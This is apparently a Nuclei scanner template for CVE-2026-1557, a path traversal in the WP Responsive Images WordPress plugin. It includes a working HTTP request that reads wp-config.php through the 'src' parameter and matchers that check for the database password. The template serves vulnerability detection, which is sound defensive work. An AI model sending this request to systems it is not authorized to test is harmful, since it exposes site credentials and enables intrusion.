id: CVE-2026-1557

info:
  name: WP Responsive Images <= 1.0 - Arbitrary File Read
  author: Shivam Kamboj
  severity: high
  description: |
    WP Responsive Images plugin for WordPress <= 1.0 contains a path traversal caused by improper sanitization of the 'src' parameter, letting unauthenticated attackers read arbitrary files on the server.
  impact: |
    nauthenticated attackers can read arbitrary files, potentially exposing sensitive information.
  remediation: |
    Update to the latest version of WP Responsive Images plugin.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-responsive-images/wp-responsive-images-10-unauthenticated-path-traversal-to-arbitrary-file-read-via-src
    - https://nvd.nist.gov/vuln/detail/CVE-2026-1557
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2026-1557
    epss-score: 0.01722
    epss-percentile: 0.74525
  metadata:
    max-request: 1
    verified: true
  tags: cve,cve2026,wordpress,wp,wp-plugin,lfi,wp-responsive-images,vkev

http:
  - raw:
      - |
        GET /wp-content/plugins/wp-responsive-images/image_handler.php?src=/wp-config.php HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code==200 || status_code==403'
          - 'contains_all(body, "DB_NAME", "DB_PASSWORD")'
        condition: and
# digest: 4b0a0048304602210084c5799f0ffca5c8fa28051e5aabd60868275a41344b7a3a678e11ec323a305302210084066657fb914ee2a75ac41a8aec36338ee4066d336fe675a476c0d587423eb1:922c64590222798bb761d5b6d8e72950